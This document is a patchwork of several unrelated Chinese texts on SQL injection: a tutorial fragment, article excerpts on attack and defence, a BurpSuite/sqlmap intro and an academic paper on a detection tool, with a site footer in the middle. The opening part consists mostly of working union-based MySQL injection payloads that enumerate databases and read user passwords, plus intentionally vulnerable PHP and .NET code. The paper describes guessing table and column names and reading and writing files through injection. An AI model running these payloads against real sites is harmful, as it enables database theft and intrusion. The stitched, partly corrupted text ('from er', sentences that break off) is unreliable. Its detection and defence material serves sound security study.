select的列与它查询的列相同时,页⾯返回正常,⽽在and后⾯加上1=1或1=2的作⽤后⾯会讲. a.⾸先我们猜测,当前字段数为4的时候,页⾯会返回错误,也就说明表字段数必然是⼤于4的.index.php?id=1' and 1=1 union select 1,2,3,4 --+b.在上⾯的基础上,我们增加⼀个字段,查询1,2,3,4,5时页⾯显⽰正常,说明表结构是5个字段的.index.php?id=1' and 1=1 union select 1,2,3,4,5 --+index.php?id=1' and 1=1 union select null,null,null,null,null --+Order By查询字段: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从⽽报错或⽆法正常显⽰.a.⾸先我们猜测数据库有6个字段,尝试根据第6⾏进⾏排序发现数据⽆法显⽰,说明是⼩于6的.index.php?id=1' and 1=1 order by 6 --+b.上⾯查询没有显⽰任何结果,我们查询6个字段⽆返回值,说⾯该表⼩于6个字段,我们继续使⽤5测试,此时返回了结果.index.php?id=1' and 1=1 order by 5 --+⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,⽽通过联合查询出的数据中,我们想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种:我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,下⾯的标号啥的就⼲净了.index.php?id=1' and 0 union select null,null,null,null,null --+第⼆种:通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1' union select null,null,null,null,null limit 1,1 --+◆查库与表字段◆查全部数据库名称: MySQL默认将所有表数据放⼊information_schema.schemata这个表中进⾏存储,我们可以查询这个表中的数据从⽽找出当前系统中所有的数据库名称.index.php?id=1' and 0 union select 1,1,database(),1,1 --+ // 找出当前所处库# -----------------------------------------------------------------------------------# 根据控制 limit 0,1,2,3....,可以获取到指定数量的数据库名称.index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+查询表中名称: 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.index.php?id=1' and 0 union select 1,2,group_concat(table_name),4,5> from information_schema.tables where table_schema='lyshark' --+ // 查lyshark库中表名称index.php?id=1' and 0 union select 1,2,table_name,4,5> from information_schema.tables where table_schema='lyshark' limit 0,1 --+ // 查lyshark库中表名称index.php?id=1' and 0 union select 1,2,table_name,4,5> from information_schema.tables where table_schema='lyshark' limit 1,1 --+ // 查lyshark库中表名称查询表中字段: 通过使⽤table_schema和table_name指定查询条件,即可查询到表中字段与数据.# -----------------------------------------------------------------------------------index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5> from information_schema.columns> where table_schema='lyshark' and table_name='lyshark' --+# -----------------------------------------------------------------------------------# 也可以查看mysql库user表中的字段,进⾏⼀个查询.index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5> from information_schema.columns> where table_schema='mysql' and table_name='user' --+index.php?id=1' and 0 union select 1,1,column_name,4,5> from information_schema.columns> where table_schema='mysql' and table_name='user' limit 0,1 --+查询表中数据: 查询表中数据,我们可以使⽤以下三种⽅式进⾏查询.index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 0,1--+ // 查询第⼀个⽤户index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 1,1--+ // 查询第⼆个⽤户index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from ers --+盲注的使⽤: ⾸先需要简单修改上⽅的源代码,去掉回显框,然后修改以下代码.<!DOCTYPE html><html lang="en"><head><meta charset="gbk"><title>SQL 注⼊测试代码</title></head><?php$connect = mysqli_connect("localhost","root","123","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from users where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);$row = mysqli_fetch_array($query);if(!empty($row)){。
【转】基于SQL的Web系统安全防范——SQL注入漏洞

【转】基于SQL的Web系统安全防范——SQL注⼊漏洞攻击研究及防范措施SQL-Based Web System Security——Structured Query Language InjectionLeak Attack Study And Defense MeasureSQL注⼊(SQL Injection)漏洞攻击是⽬前⽹上最流⾏最热门的⿊客脚本攻击⽅法之⼀,那什么是SQL注⼊漏洞攻击呢?它是指⿊客利⽤⼀些Web应⽤程序(如:⽹站、论坛、留⾔本、⽂章发布系统等)中某些存在不安全代码或SQL语句不缜密的页⾯,精⼼构造SQL语句,把⾮法的SQL语句指令转译到系统实际SQL语句中并执⾏它,以获取⽤户名、⼝令等敏感信息,从⽽达到控制主机服务器的攻击⽅法。
1. SQL注⼊漏洞攻击原理1. 1 SQL注⼊漏洞攻击实现原理SQL(Structured Query Language)是⼀种⽤来和数据库交互的语⾔⽂本。
SQL注⼊的攻击原理就是攻击者通过Web应⽤程序利⽤SQL语句或字符串将⾮法的数据插⼊到服务器端数据库中,获取数据库的管理⽤户权限,然后将数据库管理⽤户权限提升⾄操作系统管理⽤户权限,控制服务器操作系统,获取重要信息及机密⽂件。
SQL注⼊漏洞攻击主要是通过借助于HDSI、NBSI和Domain等SQL注⼊漏洞扫描⼯具扫描出Web页⾯中存在的SQL注⼊漏洞,从⽽定位SQL注⼊点,通过执⾏⾮法的SQL语句或字符串达到⼊侵者想要的操作。
下⾯以⼀段⾝份验证的.NET代码为例,说明⼀下SQL 注⼊攻击的实现⽅法。
SqlConnectionnwConn = new SqlConnection((string)ConfigurationSettings.AppSettings["DBconnStrings"]);string queryStr = "SELECT userid,userpwd, username,type FROM users where userid='" + Txtusername.Text +"'";DataSet userSet = new DataSet();SqlDataAdapter userAdapter = newSqlDataAdapter(queryStr, nwConn);userAdapter.Fill(userSet, "Users");Session["UserID"] =Txtusername.Text.ToString();Session["type"] =type.Text.ToString();Response.Redirect("/Myweb/admin/login.aspx");从上⾯的代码中可以看出,程序在与数据库建⽴连接得到⽤户数据之后,直接将username的值通过session传给login.aspx,没有进⾏任何的过滤和处理措施, 直接⽤来构造SQL 语句, 其危险系数是⾮常⾼的, 攻击者只要根据SQL 语句的编写规则就可以绕过⾝份验证,从⽽达到⼊侵的⽬的。
SQL注入攻击的漏洞检测与防御

SQL注入攻击的漏洞检测与防御SQL注入攻击是一种十分常见的网络攻击方式,它通过向Web应用程序提交可执行的SQL代码,从而使攻击者能够获取和修改数据库中的敏感信息。
这种攻击方式特别危险,因为它可以绕过常规的安全检测,而且即使是经验丰富的安全专家也难以完全预防。
因此,对SQL注入漏洞的检测和防御已成为网络安全工作者不可或缺的重要技能。
一、SQL注入攻击的基础知识那么,什么是SQL注入攻击呢?SQL(Structured Query Language)是一种广泛应用于数据库的编程语言,它可以被用于查询、插入、更新和删除数据库中的数据。
当Web应用程序从用户接收输入时,如果没有对输入进行充分的过滤和验证,恶意用户就有可能构造出恶意的SQL查询语句,从而绕过应用程序的安全检查,实现数据的盗取、篡改或者破坏。
例如,一个典型的SQL注入攻击可能如下所示:假设一个网站使用如下的代码处理用户的搜索关键字:`SELECT * FROM products WHERE name LIKE '%{search_term}%'`其中,`{search_term}`是用户输入的搜索关键字。
攻击者可以构造一个特定的搜索关键字,例如:`' OR 1=1 --`这个关键字包含一个单引号,一个OR运算符,一个关于真的条件,以及注释符号,它的意义如下:- 在单引号后面插入空格之后,整个语句就变成了一个合法的SQL查询代码。
- OR运算符可以绕过之前的安全检查,并将后面的查询条件视为真。
- 双减号可以使后续的任何内容都被视为注释,从而排除后续的"AND password = 123456"等安全检查。
因此,这个查询语句将会返回所有产品记录,而不是只返回与搜索关键字匹配的记录。
如果数据库中保存了用户的登录信息,攻击者也可以从中获取敏感信息,例如用户名和密码。
二、SQL注入漏洞的检测由于SQL注入攻击是一种相对简单的攻击方式,攻击者可以使用各种工具自动化生成和测试可能的注入攻击代码。
burpsuite sqlmap使用

burpsuite sqlmap使用“BurpSuite和SQLMap的使用”BurpSuite和SQLMap是在渗透测试中常用的工具,它们可以在发现和利用Web应用程序的漏洞方面发挥重要作用。
在本文中,我将一步一步地演示如何使用这两个工具来检测和利用SQL注入漏洞。
BurpSuite是一款功能强大的渗透测试工具套件,由Burp Proxy、Burp Spider、Burp Scanner、Burp Intruder、Burp Repeater、Burp Decoder、Burp Comparer和Burp Sequencer等多个模块组成。
它提供了全面的功能,用于拦截、修改和检测HTTP请求和响应,并可以发现Web应用程序中的各种漏洞。
SQLMap是一款自动化的SQL注入工具,可以自动检测和利用Web应用程序中的SQL注入漏洞。
它支持各种数据库管理系统,并提供了多种注入技术和攻击向量,可用于发现和利用不同类型的SQL注入漏洞。
下面,我将详细介绍如何使用BurpSuite和SQLMap来检测和利用SQL 注入漏洞。
第一步:设置环境首先,下载并安装最新版本的Java运行时环境(JRE)。
BurpSuite是用Java编写的,因此需要Java环境才能运行。
然后,下载并安装BurpSuite。
您可以在官方网站上找到最新版本的BurpSuite,并按照提示进行安装。
第二步:配置BurpSuite打开BurpSuite,并在首选项中配置代理。
默认情况下,BurpSuite的代理监听在127.0.0.1的8080端口上。
如果您需要更改代理设置,请在首选项->代理->监听端口中进行配置。
接下来,将浏览器的代理设置为BurpSuite的监听地址和端口。
这样,BurpSuite就能够拦截并分析您的浏览器请求。
第三步:发现SQL注入漏洞使用配置好的BurpSuite代理,访问目标Web应用程序,并观察BurpSuite Proxy模块中的请求和响应。
web安全中SQL注入漏洞的检测方法

web安全中SQL注入漏洞的检测方法随着互联网技术的不断发展,Web应用程序的应用范围越来越广,同时也暴露出了越来越多的安全问题。
其中,SQL注入漏洞是Web安全中最常见、危害最大的问题之一。
因此,如何有效地检测和防范SQL注入漏洞成为了Web安全领域中极其重要的一环。
一、SQL注入漏洞的原理SQL注入漏洞是指攻击者通过Web应用程序的输入表单等交互界面,输入恶意的SQL语句,使得程序在没有进行足够验证和过滤的情况下直接将此恶意SQL 语句传递到后台数据库执行,从而获取或篡改数据库中的数据。
攻击者可以利用这种漏洞进行数据盗取、信息窃取、数据篡改等恶意行为,给 Web 系统带来极大的安全隐患。
二、常见的SQL注入漏洞检测方法1. 手动检测法手动检测法是指通过手动构造输入数据,向Web应用程序提交请求,从而检测应用程序中的SQL注入漏洞。
这种方法有一定的主观性和局限性,需要针对性地进行验证和测试,同时也需要考虑测试的覆盖率和有效性。
2. 自动化检测法自动化检测法是指利用SQL注入检测工具,对Web应用程序进行自动化的检测和测试。
这种方法可以快速、高效地检测出SQL注入漏洞,能够提高测试的覆盖率和有效性,但也存在检测误报和漏报的情况。
3. 静态检测法静态检测法是指利用源代码分析工具,对Web应用程序进行静态检测和分析,从而检测出SQL注入漏洞。
这种方法能够检测出更多潜在的漏洞,但也需要考虑源代码的可读性和可维护性,同时也需要消耗大量的计算资源和时间。
三、常见的SQL注入漏洞防范措施1. 输入数据的过滤和验证对于用户输入的数据,应立即进行过滤和验证,去除可能的恶意字符和SQL注入语句。
可以采用白名单、黑名单等方式进行过滤,从而确保输入数据的安全性和有效性。
2. 参数化查询采用参数化查询的方式,将输入的数据与SQL语句进行分离,在执行SQL语句之前对输入数据进行验证和过滤,从而防止SQL注入漏洞的攻击。
3. 设置权限和访问控制根据用户的角色和权限,设置不同的访问控制和数据库权限,限制用户访问敏感数据和操作数据库的权限,从而减小SQL注入漏洞对系统造成的影响。
sql注入漏洞 测试方法

sql注入漏洞测试方法SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以利用它来执行恶意的SQL查询。
为了测试SQL注入漏洞,我们需要遵循一些步骤和方法来验证系统的安全性。
以下是一些常见的测试方法:1. 输入验证,尝试在输入字段中输入特殊字符,如单引号(')、分号(;)、双横线(--)等,看系统是否能够正确地处理这些输入。
如果系统没有对输入进行正确的验证和过滤,可能会存在注入漏洞。
2. UNION查询,尝试在输入字段中构造一个UNION查询,以验证系统是否允许执行多个查询并将结果合并返回。
例如,尝试将一个恶意的UNION查询添加到一个SQL语句中,以查看系统是否会返回额外的数据。
3. 错误消息,利用错误消息来获取有关数据库结构和查询的信息。
通过在输入字段中插入错误的语法或者恶意代码,观察系统返回的错误消息是否包含敏感信息。
4. 时间延迟,通过在注入代码中添加时间延迟函数,来验证系统是否容易受到时间延迟攻击。
如果系统在执行恶意注入时出现延迟,可能意味着存在注入漏洞。
5. 盲注尝试,当系统没有直接返回任何错误消息或数据时,可以尝试进行盲注测试。
通过构造布尔查询或者基于时间延迟的查询,来逐步推断数据库中的数据。
总的来说,测试SQL注入漏洞需要仔细审查应用程序的输入验证和数据处理过程。
同时,需要使用专门设计用于测试漏洞的工具和技术,以确保系统的安全性。
除了上述方法,还可以使用自动化的漏洞扫描工具来帮助发现潜在的SQL注入漏洞。
最重要的是,及时修复和更新系统以防范这类漏洞对系统造成的潜在威胁。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Web应用SQL注入漏洞检测工具的设计与实现
作者:张鑫张婷段新东林玉香
来源:《信息安全与技术》2014年第08期
【摘要】由于Web应用系统的开发周期较短,同时开发人员安全编程意识不足,Web 应用程序会存在漏洞。
因此,检测Web应用系统的安全性是安全领域的亟待解决的问题。
SQL注入漏洞检测工具模拟黑客攻击的方式,采用网络爬虫技术建立需检测的URL库,依据SQL注入模板精心构造URL,并从根据浏览器返回信息,判定是否存在SQL注入点。
可以提前意识到Web应用存在的漏洞,并及时修补,降低系统受攻击的风险,是有效的Web安全防护手段。
【关键词】 SQL注入;漏洞检测;Web安全
【中图分类号】 TP311
1 引言
采用B/S架构,并通过HTTP或HTTPS协议提供访问的应用服务统称为Web应用。
目前,几乎所有政府、通信、证券、银行以及电子商务都支持在线交易和查询服务,包括个人账户、用户信息、交易记录等在内的用户的敏感信息,都通过Web应用系统存储在数据库中,一旦数据被盗取或篡改,都会造成巨大损失。
为降低系统受攻击的风险,可利用Web应用安全漏洞扫描技术,可以实现在线的Web应用健康检查,提醒网站管理员进行修补,是效果好的Web安全防护手段。
2 Web 应用中常见漏洞攻击
Web 应用大多涉及服务器端的动态处理,同时,开发人员可能在开发过程中疏忽参数的输入检查,因此会出现各种Web 应用安全问题,会产生相关漏洞,例如文件包含漏洞,目录遍历漏洞,信息泄露漏洞和SQL 注入漏洞给攻击者留下可乘之机。
由于SQL 注入漏洞利用Web应用开放的端口,通常防火墙等设备无法检测到,所以其隐蔽性高,如果攻击者不留下痕迹,或者管理员没有查看数据库日志的习惯,基本不会发现。
根据美国国家漏洞数据库(NVD)的统计,SQL注入在针对Web应用攻击手段中名列榜首,是互联网危害最大的安全漏洞。
SQL注入攻击的几个过程。
(1)判断Web应用是否可以进行SQL注入。
如果URL仅是对静态网页的访问,不存在SQL注入问题。
只有存在数据库动态查询请求的URL,才可能存在SQL注入,如:http:
//www.***.cn/web.jsp?id=36,其中id=36表示数据库查询变量。
(2)寻找SQL注入点。
完成带参URL的查找后,通过构造一些特殊SQL语句,替换原有的URL参数值,再根据浏览器返回信息,判断该URL是否为SQL注入点。
(3)猜解用户名和密码。
软件开发人员设计的数据库表名、字段名通常是有规律可循的。
通过构建SQL语句在数据库中查找表名、字段名、用户名和密码的长度等内容。
(4)寻找Web系统管理后台入口。
通常Web系统后台管理的界面不向普通用户开放,要寻找到后台的登录路径,可以利用扫描工具,测试可能的后台入口地址进行。
(5)实施入侵和破坏。
成功登录管理系统后,接下来就可以任意进行读写,篡改网页、木马上传、修改、泄漏用户信息等,并进一步入侵数据库服务器。
由于大多数Web应用检测软件成本较高,不适合中小型网站,所以需要一种简单方便的网站检测服务。
该漏洞检测工具针对MySQL数据库服务器,对用户提交的URL进行安全检测,对漏洞划分不同的危险等级,发现问题后显示危险URL,不显示其他敏感信息。
3 SQL注入漏洞检测工具的设计
3.1 SQL注入漏洞检测方法
可以采用模仿黑客攻击的方法来检测是否存在SQL注入漏洞,与SQL注入攻击的步骤类似,如图1所示。
(1)在检测过程中,采用网络爬虫技术,先将整个网站的所有网页抓取完成。
将重复的URL以及链接到被检测网站外的URL剔除后,存入网页URL数据库。
(2)访问网页URL的数据库,获得一条URL。
(3)对网页URL数据库中存储的URL进行检测,检测的步骤同攻击过程。
为了提高检测的效率,采用模板参数填充的方法。
可需要根据实际情况对表1所示的SQL 注入模板的参数进行填充,以构成可执行的SQL攻击语句。
其中u表示URL;%s表示SQL语句的条件部分;~u表示将URL中SQL语句的条件取反。
如果构建的SQL语句未通过URL检测,那么该URL不存在SQL注入漏洞,转步骤2。
如果构建的SQL语句通过URL检测,那么存在SQL注入漏洞,转步骤4。
(4)以MySQL4及以上版本为例,列出检测信息。
构建SQL语句,进一步获取基本信息,猜解数据和列名,并读取和写入文件。
(5)如果网页URL的数据库的每一条URL都检测过后,算法终止。
3.2 整体架构图
注入漏洞检测工具的基础构架如图2所示。
分为三个功能模块:(1)网络爬虫:创建网页URL数据库;(2)SQL注入检测引擎:采用图2所示的流程进行SQL注入漏洞检测;(3)公共组件:支持前两个模块相应功能的实现。
4 SQL注入检测引擎的实现
4.1 SQL注入漏洞扫描
1)构造不同类型的payload:参照表2所示的SQL 注入模板的参数对URL进行填充。
2)根据http response来判断是否存在注入点:根据参数m_HttpUrl从指定的URL得到相应的返回内容;获取或设置用于向 Internet Http资源的请求进行身份验证的网络凭据,并使用正则表达式("
3)分析具体的注入类型:根据不同的注入类型构造不同的URL。
4.2 猜解数据与列名表名
1)获取数据库的基本信息
MySQL4及以上版本支持union查询,可以通过折半查找,逐步猜解信息。
用到的内置函数如下:(1)VERSION():获得当前的数据库版本信息;(2)USER():获得当前的数据库用户名;(3)DATABASE():获得当前数据库名;(4)PASSWORD():获得相关用户的密码。
获取数据库的基本信息如图4所示。
2)猜解表名
在MySQL4及以上版本中,可在注入点URL后添加如下代码:and(select count(*)from table_name)>0。
如果返回正常,那么说明数据表的名字是存在的,否则不存在。
3)猜解列名
在MySQL4及以上版本中,可在SQL注入点URL后添加如下代码:and (select count (column_name)from table_name)>0。
如果返回正常,那么列名是正确的,否则反之。
把常见列名保存在一个文本文档中,猜解时打开,构造URL进行猜解,遍历所有字段名。
猜解数据与列名表名如图5所示。
4.3 读取和写入文件
1)利用函数load_file()读取文件,为避开单引号,使用16进制表示文件路径。
2)利用函数into outfile()实现写文件的功能。
5 结束语
SQL注入漏洞检测工具通过构造HTTP协议请求,获取服务器响应信息,分析网络页面信息,来分析检测。
可以帮助管理员更好的管理网站,可立刻查询URL的各项记录,并显示上次扫描时间,同时标明漏洞类型,能更直观的了解网站的安全状况。
管理员可以根据这些信息对网站进行整修,填补漏洞,使网站更加安全。
但是在SQL注入检测引擎的运行时会存在一定延时,并只针对SQL注入漏洞进行检查,因此,会进一步丰富扫描知识库,并开展更多类型漏洞(如XSS漏洞、危险端口预警、敏感目录检测、蜘蛛屏蔽扫描等)的研究工作,使其更高效准确地为用户提供服务。
参考文献
[1] 杨林,杨勇.Web应用漏洞攻击分析及防御实现[J].中国教育网络,2011,Z1:79-82.
[2] National Vulnerability Database National vulnerability database(NVD)
CVE.statistics[EB/OL].http:///view/vuln/statistics-results.
[3] 彭赓,范明钰.基于改进网络爬虫技术的SQL注入漏洞检测[J].计算机应用研究,2010,27(07):2605-2607.
[4] 张令通,罗森林.SQL盲注入快速攻击方法研究[J].信息网络安全,2013,05:15-18.
[5] 苏忠,林闯,封富君等.无线传感器网络密钥管理的方案和协议[J].软件学报, 2007,18(5):1218-1231.
[6] 马凯,蔡皖东,姚烨.Web2.0环境下SQL注入漏洞注入点提取方法[J].计算机技术与发展,23(3):121-128.
基金项目:
河南省科技计划项目(142300410108);河南省教育厅科学技术研究重点项目基础研究(14A520056);南阳师范学院校级项目(QN2013047)。
作者简介:
张鑫(1985-),男,河北石家庄人,硕士,讲师;主要研究方向和关注领域:信息安全、网络安全与攻防。